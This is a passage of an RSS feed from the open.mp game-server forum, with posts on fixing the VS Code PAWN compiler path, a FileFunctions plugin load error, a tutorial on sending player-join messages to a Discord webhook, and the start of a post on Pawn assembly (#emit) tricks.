So I decided to look online and I found a lot of people with the same problem but no easy answer... I tried deleting zcmd and readding it... Etc...<br />
Nothing worked... </span></span><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">I turns out my problem was in the VS Code Extension.<br />
<br />
When you use VS Code you need to download the Extension: PAWN Language for Visual Studio Code made by Qoo.<br />
When I moved the Folder and Renamed it, everything was still in the same place but the Pawno Compiler was not connected to VS Code anymore.<br />
<br />
In order to Fix this:<br />
<br />
<span style="color: #c10300;" class="mycode_color">--Open VS Code<br />
--Click on the Gear on the bottom left hand side of VS Code</span></span></span><br />
<span style="color: #c10300;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">--Click on Settings<br />
--Click on Extensions</span></span></span><br />
<span style="color: #c10300;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">--It'll now show programming languages and extensions</span></span></span><br />
<span style="color: #c10300;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">--Click on Pawn<br />
--On the right it'll have the Compiler Path (Picture shown below)<br />
--Update the Compiler Path with the Correct Pawno Folder in your PC.<br />
--Done, you can now compile with no errors.<br />
</span></span></span><br />
<br />
<img src="https://i.ibb.co/R0jcXVG/Pawn-Help.png" loading="lazy"  alt="[Image: Pawn-Help.png]" class="mycode_img" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Pawno ayuda para un Gamemode Team Deathmatch]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2586</link>
			<pubDate>Sat, 10 Feb 2024 01:27:28 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=5433">AnonyLer_LataMP-Project</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2586</guid>
			<description><![CDATA[Yo estoy creando un projecto para un servidor samp <br />
LataMP Latam Multiplayer Project pero como no se casi nada de pawno pido ayuda para crear un sistema de equipos sistema de casas clanes ect para mi server samp quien me ayuda con cualquier cosa porfavor]]></description>
			<content:encoded><![CDATA[Yo estoy creando un projecto para un servidor samp <br />
LataMP Latam Multiplayer Project pero como no se casi nada de pawno pido ayuda para crear un sistema de equipos sistema de casas clanes ect para mi server samp quien me ayuda con cualquier cosa porfavor]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Error cant running plugin FileFunctions Plugin v0.1b (by RyDeR`)   Run time error 19:]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2407</link>
			<pubDate>Wed, 21 Jun 2023 02:18:16 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=2989">PutuSuhartawan</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2407</guid>
			<description><![CDATA[Plugin error FileFunctions, i was install every c++ version but keep [debug] Run time error 19: "File or function is not found"<br />
<br />
<br />
<br />
<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>[19:10:01]  Loading plugin: FileFunctions<br />
<br />
[19:10:01]  Failed.</code></div></div><br />
<br />
<br />
<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>[19:10:03] AMX (47115688) loaded<br />
[19:10:03]  Loading filterscript 'antiddos.amx'...<br />
[19:10:03] AMX (47115800) loaded<br />
[19:10:03]    Error: Function not registered: 'fileOpen'<br />
[19:10:03]    Error: Function not registered: 'fileSeek'<br />
[19:10:03]    Error: Function not registered: 'fileRead'<br />
[19:10:03] [debug] Run time error 19: "File or function is not found"<br />
[19:10:03] [debug]  fileOpen<br />
[19:10:03] [debug]  fileSeek<br />
[19:10:03] [debug]  fileRead</code></div></div><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>/*<br />
FileFunctions Plugin v0.1b (by RyDeR`)<br />
*/<br />
<br />
#if defined _INC_FileFunctions<br />
#endinput<br />
#else<br />
#define _INC_FileFunctions<br />
#endif<br />
<br />
enum io_FileMode<br />
{<br />
io_Read,<br />
io_Write,<br />
io_Append,<br />
io_ReadWrite,<br />
io_EmptyReadWrite,<br />
io_ReadAppend<br />
};<br />
<br />
enum seek_Origin<br />
{<br />
seek_Start,<br />
seek_Current,<br />
seek_End<br />
};<br />
<br />
native File: fileOpen(const fileName[], io_FileMode: fileMode);<br />
native File: fileReOpen(File: handle, const fileName[], io_FileMode: fileMode);<br />
native fileClose(File: handle);<br />
native fileRemove(const fileName[]);<br />
native fileExists(const fileName[]);<br />
native fileMove(const currentFilePath[], const newFilePath[]);<br />
native fileRewind(File: handle);<br />
native fileWrite(File: handle, const string[]);<br />
native fileRead(File: handle, buffer[], const size = sizeof(buffer));<br />
native filePutChar(File: handle, value);<br />
native fileGetChar(File: handle);<br />
native fileSeek(File: handle, position, seek_Origin: origin);<br />
native fileLength(File: handle);</code></div></div><br />
<br />
<br />
<br />
i was asking to AI but not fix respond it better :<br />
<br />
<br />
The error message suggests that the functions from the FileFunctions plugin are not registered or not available. Here are a few steps you can try to resolve the issue:<br />
<br />
Make sure you have the FileFunctions plugin installed correctly. Double-check that the plugin file (e.g., "filefunctions.so" or "filefunctions.dll") is placed in the correct directory of your SA-MP server.<br />
Confirm that you have the latest version of the FileFunctions plugin. Check the SA-MP forums or the official website of the plugin to ensure you have the most up-to-date version that is compatible with your SA-MP server version.<br />
Verify that you have the correct include file for the FileFunctions plugin. The include file should have the same name as the plugin file (e.g., "filefunctions.inc") and should be placed in the "pawno/includes" directory of your PAWN compiler.<br />
Ensure that the plugin is being loaded properly in your server.cfg file. Check that you have the correct plugin name and file extension specified, such as plugins FileFunctions.dll.<br />
If you've followed these steps and the issue persists, it's possible that the FileFunctions plugin is not compatible with your SA-MP server version or there may be a problem with the plugin itself. In that case, you may need to consider using an alternative file manipulation plugin or consult the SA-MP community for further assistance.<br />
<br />
<br />
Please help. thanks.]]></description>
			<content:encoded><![CDATA[Plugin error FileFunctions, i was install every c++ version but keep [debug] Run time error 19: "File or function is not found"<br />
<br />
<br />
<br />
<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>[19:10:01]  Loading plugin: FileFunctions<br />
<br />
[19:10:01]  Failed.</code></div></div><br />
<br />
<br />
<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>[19:10:03] AMX (47115688) loaded<br />
[19:10:03]  Loading filterscript 'antiddos.amx'...<br />
[19:10:03] AMX (47115800) loaded<br />
[19:10:03]    Error: Function not registered: 'fileOpen'<br />
[19:10:03]    Error: Function not registered: 'fileSeek'<br />
[19:10:03]    Error: Function not registered: 'fileRead'<br />
[19:10:03] [debug] Run time error 19: "File or function is not found"<br />
[19:10:03] [debug]  fileOpen<br />
[19:10:03] [debug]  fileSeek<br />
[19:10:03] [debug]  fileRead</code></div></div><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>/*<br />
FileFunctions Plugin v0.1b (by RyDeR`)<br />
*/<br />
<br />
#if defined _INC_FileFunctions<br />
#endinput<br />
#else<br />
#define _INC_FileFunctions<br />
#endif<br />
<br />
enum io_FileMode<br />
{<br />
io_Read,<br />
io_Write,<br />
io_Append,<br />
io_ReadWrite,<br />
io_EmptyReadWrite,<br />
io_ReadAppend<br />
};<br />
<br />
enum seek_Origin<br />
{<br />
seek_Start,<br />
seek_Current,<br />
seek_End<br />
};<br />
<br />
native File: fileOpen(const fileName[], io_FileMode: fileMode);<br />
native File: fileReOpen(File: handle, const fileName[], io_FileMode: fileMode);<br />
native fileClose(File: handle);<br />
native fileRemove(const fileName[]);<br />
native fileExists(const fileName[]);<br />
native fileMove(const currentFilePath[], const newFilePath[]);<br />
native fileRewind(File: handle);<br />
native fileWrite(File: handle, const string[]);<br />
native fileRead(File: handle, buffer[], const size = sizeof(buffer));<br />
native filePutChar(File: handle, value);<br />
native fileGetChar(File: handle);<br />
native fileSeek(File: handle, position, seek_Origin: origin);<br />
native fileLength(File: handle);</code></div></div><br />
<br />
<br />
<br />
i was asking to AI but not fix respond it better :<br />
<br />
<br />
The error message suggests that the functions from the FileFunctions plugin are not registered or not available. Here are a few steps you can try to resolve the issue:<br />
<br />
Make sure you have the FileFunctions plugin installed correctly. Double-check that the plugin file (e.g., "filefunctions.so" or "filefunctions.dll") is placed in the correct directory of your SA-MP server.<br />
Confirm that you have the latest version of the FileFunctions plugin. Check the SA-MP forums or the official website of the plugin to ensure you have the most up-to-date version that is compatible with your SA-MP server version.<br />
Verify that you have the correct include file for the FileFunctions plugin. The include file should have the same name as the plugin file (e.g., "filefunctions.inc") and should be placed in the "pawno/includes" directory of your PAWN compiler.<br />
Ensure that the plugin is being loaded properly in your server.cfg file. Check that you have the correct plugin name and file extension specified, such as plugins FileFunctions.dll.<br />
If you've followed these steps and the issue persists, it's possible that the FileFunctions plugin is not compatible with your SA-MP server version or there may be a problem with the plugin itself. In that case, you may need to consider using an alternative file manipulation plugin or consult the SA-MP community for further assistance.<br />
<br />
<br />
Please help. thanks.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Sending message to Discord]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2354</link>
			<pubDate>Sun, 19 Feb 2023 12:35:48 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=4723">Kox</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2354</guid>
			<description><![CDATA[Hi,<br />
<br />
This tutorial aims to give you a basic example about how to use a webhook to send message from your OpenMP/SA-MP server into a discord channel.<br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Requirements :</span></span><br />
<ul class="mycode_list"><li><a href="https://github.com/Southclaws/pawn-requests" target="_blank" rel="noopener" class="mycode_url">Pawn-requests package</a><br />
</li>
<li>Discord server<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size">1) Install pawn-requests package on your server</span><ul class="mycode_list"><li>Install the package with sampctl or manually<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size">2) Creating a Discord webhook</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: small;" class="mycode_size">Create text channel</span><br />
</li>
<li><span style="font-size: small;" class="mycode_size">Click "Edit Channel" =&gt; </span> Integrations =&gt; Create Webhook<br />
</li>
<li>Click on the Webhook =&gt; Copy Webhook url (save it for later)<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size">3)</span><span style="font-size: large;" class="mycode_size"> Send message from server</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: small;" class="mycode_size">Add requests include and create a RequestsClient with your webhook url</span><br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #FF8000">#include&nbsp;&lt;requests&gt;<br /><br /></span><span style="color: #007700">new&nbsp;</span><span style="color: #0000BB">RequestsClient</span><span style="color: #007700">:</span><span style="color: #0000BB">client</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">main</span><span style="color: #007700">()<br />{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;client&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">RequestsClient</span><span style="color: #007700">(</span><span style="color: #DD0000">"replace&nbsp;with&nbsp;your webhookurl"</span><span style="color: #007700">);<br />}&nbsp;<br /></span></code></div></div></div><br />
</li>
<li><span style="font-size: small;" class="mycode_size">Send message to discrod</span><br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">OnPlayerConnect</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">)<br />{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">new&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">[</span><span style="color: #0000BB">MAX_PLAYER_NAME&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">];<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;GetPlayerName</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sizeof</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">));<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">new&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">[</span><span style="color: #0000BB">MAX_PLAYER_NAME&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">23&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">];<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;format</span><span style="color: #007700">(</span><span style="color: #0000BB">string</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sizeof</span><span style="color: #007700">(string),&nbsp;</span><span style="color: #DD0000">"%s&nbsp;has&nbsp;joined&nbsp;the&nbsp;server."</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;RequestJSON</span><span style="color: #007700">(<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;client</span><span style="color: #007700">,<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">,</span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br /> &nbsp; &nbsp; &nbsp; &nbsp;HTTP_METHOD_POST</span><span style="color: #007700">,&nbsp;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #DD0000">"OnPostJson"</span><span style="color: #007700">,</span><span style="color: #0000BB"> &nbsp; &nbsp;<br /> &nbsp; &nbsp; &nbsp; &nbsp;JsonObject</span><span style="color: #007700">(<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #DD0000">"content"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">JsonString</span><span style="color: #007700">(string)<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #007700">)<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #0000BB">forward&nbsp;OnPostJson</span><span style="color: #007700">(</span><span style="color: #0000BB">Request</span><span style="color: #007700">:</span><span style="color: #0000BB">id</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">E_HTTP_STATUS</span><span style="color: #007700">:</span><span style="color: #0000BB">status</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Node</span><span style="color: #007700">:</span><span style="color: #0000BB">node</span><span style="color: #007700">);<br />public&nbsp;</span><span style="color: #0000BB">OnPostJson</span><span style="color: #007700">(</span><span style="color: #0000BB">Request</span><span style="color: #007700">:</span><span style="color: #0000BB">id</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">E_HTTP_STATUS</span><span style="color: #007700">:</span><span style="color: #0000BB">status</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Node</span><span style="color: #007700">:</span><span style="color: #0000BB">node</span><span style="color: #007700">)&nbsp;<br />{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">if(</span><span style="color: #0000BB">status&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">HTTP_STATUS_NO_CONTENT</span><span style="color: #007700">)&nbsp;{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"successfully&nbsp;posted&nbsp;message"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">}<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">else&nbsp;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"failed&nbsp;to&nbsp;post&nbsp;message"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">}<br />}&nbsp;<br /></span></code></div></div></div></li>
</ol>
<br />
Now when a player connect to the server, a message will be sent on the discord channel.<br />
<br />
<img src="https://i.ibb.co/Nn59ttn/webhook-discord.png" loading="lazy"  alt="[Image: webhook-discord.png]" class="mycode_img" /><br />
<br />
Credits<br />
Southclaws for the<a href="https://github.com/Southclaws/pawn-requests" target="_blank" rel="noopener" class="mycode_url"> requests package</a><br />
<br />
<br />
Regards]]></description>
			<content:encoded><![CDATA[Hi,<br />
<br />
This tutorial aims to give you a basic example about how to use a webhook to send message from your OpenMP/SA-MP server into a discord channel.<br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Requirements :</span></span><br />
<ul class="mycode_list"><li><a href="https://github.com/Southclaws/pawn-requests" target="_blank" rel="noopener" class="mycode_url">Pawn-requests package</a><br />
</li>
<li>Discord server<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size">1) Install pawn-requests package on your server</span><ul class="mycode_list"><li>Install the package with sampctl or manually<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size">2) Creating a Discord webhook</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: small;" class="mycode_size">Create text channel</span><br />
</li>
<li><span style="font-size: small;" class="mycode_size">Click "Edit Channel" =&gt; </span> Integrations =&gt; Create Webhook<br />
</li>
<li>Click on the Webhook =&gt; Copy Webhook url (save it for later)<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size">3)</span><span style="font-size: large;" class="mycode_size"> Send message from server</span><br />
<ol type="1" class="mycode_list"><li><span style="font-size: small;" class="mycode_size">Add requests include and create a RequestsClient with your webhook url</span><br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #FF8000">#include&nbsp;&lt;requests&gt;<br /><br /></span><span style="color: #007700">new&nbsp;</span><span style="color: #0000BB">RequestsClient</span><span style="color: #007700">:</span><span style="color: #0000BB">client</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">main</span><span style="color: #007700">()<br />{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;client&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">RequestsClient</span><span style="color: #007700">(</span><span style="color: #DD0000">"replace&nbsp;with&nbsp;your webhookurl"</span><span style="color: #007700">);<br />}&nbsp;<br /></span></code></div></div></div><br />
</li>
<li><span style="font-size: small;" class="mycode_size">Send message to discrod</span><br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">OnPlayerConnect</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">)<br />{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">new&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">[</span><span style="color: #0000BB">MAX_PLAYER_NAME&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">];<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;GetPlayerName</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sizeof</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">));<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">new&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">[</span><span style="color: #0000BB">MAX_PLAYER_NAME&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">23&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">];<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;format</span><span style="color: #007700">(</span><span style="color: #0000BB">string</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sizeof</span><span style="color: #007700">(string),&nbsp;</span><span style="color: #DD0000">"%s&nbsp;has&nbsp;joined&nbsp;the&nbsp;server."</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;RequestJSON</span><span style="color: #007700">(<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;client</span><span style="color: #007700">,<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">,</span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br /> &nbsp; &nbsp; &nbsp; &nbsp;HTTP_METHOD_POST</span><span style="color: #007700">,&nbsp;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #DD0000">"OnPostJson"</span><span style="color: #007700">,</span><span style="color: #0000BB"> &nbsp; &nbsp;<br /> &nbsp; &nbsp; &nbsp; &nbsp;JsonObject</span><span style="color: #007700">(<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #DD0000">"content"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">JsonString</span><span style="color: #007700">(string)<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #007700">)<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">return&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #0000BB">forward&nbsp;OnPostJson</span><span style="color: #007700">(</span><span style="color: #0000BB">Request</span><span style="color: #007700">:</span><span style="color: #0000BB">id</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">E_HTTP_STATUS</span><span style="color: #007700">:</span><span style="color: #0000BB">status</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Node</span><span style="color: #007700">:</span><span style="color: #0000BB">node</span><span style="color: #007700">);<br />public&nbsp;</span><span style="color: #0000BB">OnPostJson</span><span style="color: #007700">(</span><span style="color: #0000BB">Request</span><span style="color: #007700">:</span><span style="color: #0000BB">id</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">E_HTTP_STATUS</span><span style="color: #007700">:</span><span style="color: #0000BB">status</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Node</span><span style="color: #007700">:</span><span style="color: #0000BB">node</span><span style="color: #007700">)&nbsp;<br />{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">if(</span><span style="color: #0000BB">status&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">HTTP_STATUS_NO_CONTENT</span><span style="color: #007700">)&nbsp;{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"successfully&nbsp;posted&nbsp;message"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">}<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">else&nbsp;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">{<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp;printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"failed&nbsp;to&nbsp;post&nbsp;message"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &nbsp;</span><span style="color: #007700">}<br />}&nbsp;<br /></span></code></div></div></div></li>
</ol>
<br />
Now when a player connect to the server, a message will be sent on the discord channel.<br />
<br />
<img src="https://i.ibb.co/Nn59ttn/webhook-discord.png" loading="lazy"  alt="[Image: webhook-discord.png]" class="mycode_img" /><br />
<br />
Credits<br />
Southclaws for the<a href="https://github.com/Southclaws/pawn-requests" target="_blank" rel="noopener" class="mycode_url"> requests package</a><br />
<br />
<br />
Regards]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Assembly tricks]]></title>
			<link>https://forum.open.mp/showthread.php?tid=2321</link>
			<pubDate>Sun, 18 Sep 2022 23:58:53 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=6">Y_Less</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=2321</guid>
			<description><![CDATA[Over the years of writing a lot of assembly in pawn I?ve developed a few tricks for things.? These are just some of them.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Calling a function by variable.</span></span></span></span></span></div>
<br />
<br />
<br />
Normally to call a function you use <span style="font-family: courier new;" class="mycode_font">CALL</span>, but that only takes a constant, not a variable.? If you want to load the target address from a variable you instead need to use <span style="font-family: courier new;" class="mycode_font">SCTRL</span> to set the target.? But <span style="font-family: courier new;" class="mycode_font">CALL</span> does some other bits as well like setting the return address, which must be done manually with <span style="font-family: courier new;" class="mycode_font">SCTRL</span> using <span style="font-family: courier new;" class="mycode_font">LCTRL</span>.? <span style="font-family: courier new;" class="mycode_font">LCTRL</span> gets the <span style="font-style: italic;" class="mycode_i">current</span> instruction pointer, but the return address should be the instruction after the <span style="font-family: courier new;" class="mycode_font">SCTRL</span>.? With this snippet it turns out that that return address is exactly nine cells later, so the code to call a function stored in a local variable called <span style="font-family: courier new;" class="mycode_font">func</span> is:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL? ? ? 6</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C? ? ? 36</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL? ? ? 8</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri func</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL? ? ? 6</span></blockquote><br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Control register 8</span></span></span></span></span></div>
<br />
<br />
<br />
If you?re using the JIT plugin the return address needs to be modified to a new address space.? This is what <span style="font-family: courier new;" class="mycode_font">LCTRL 8</span> does.? It takes the AMX address in <span style="font-family: courier new;" class="mycode_font">pri</span> and converts it to a JIT address.? However if you?re not using the JIT plugin there is no register eight and <span style="font-family: courier new;" class="mycode_font">pri</span> remains the same.? So always using it is perfectly safe - either the address will be correctly updated or it won?t change at all.<br />
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: Red;" class="mycode_color"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u"><span style="color: Green;" class="mycode_color">Named registers.</span></span></span></span></span></div>
<br />
<br />
<br />
That code is already a bit unreadable.? I said the return address is nine cells later, yet <span style="font-family: courier new;" class="mycode_font">9</span> doesn?t appear anywhere in the code.? Also what are <span style="font-family: courier new;" class="mycode_font">6</span> and <span style="font-family: courier new;" class="mycode_font">8</span> doing?? Fortunately <span style="font-family: courier new;" class="mycode_font">const</span> values work in <span style="font-family: courier new;" class="mycode_font">#emit</span>, so we can name some of these constants and make them more readable.? The previous snippet thus becomes:<br />
<br />
<br />
<br />
<blockquote class="mycode_quote"><cite>Pawn Wrote:</cite><span style="color: Brown;" class="mycode_color">#emit LCTRL? ? ? __cip</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit ADD.C? ? ? __9_cells</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LCTRL? ? ? __jmp</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit PUSH.pri</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit LOAD.S.pri ptr</span><br />
<br />
<span style="color: Brown;" class="mycode_color">#emit SCTRL? ? ? __cip</span></blockquote><br />
<br />
<br />
[See this file]() for the full list of constant offsets defined in YSI, there are too many to list here.? But a few highlighted ones are:<br />
<br />
<br />
<ul class="mycode_list"><li><span style="font-family: courier new;" class="mycode_font">__frame_offset</span> - The offset of the previous frame?s pointer in the current frame.? Actually just <span style="font-family: courier new;" class="mycode_font">0</span>, but still named to be clear.<br />
<br />
</li>
<li><span style="font-family: courier new;" class="mycode_font">__return_offset</span> - The offset of the return address in the current frame (the value pushed in the code above).<br />
<br />
</li>
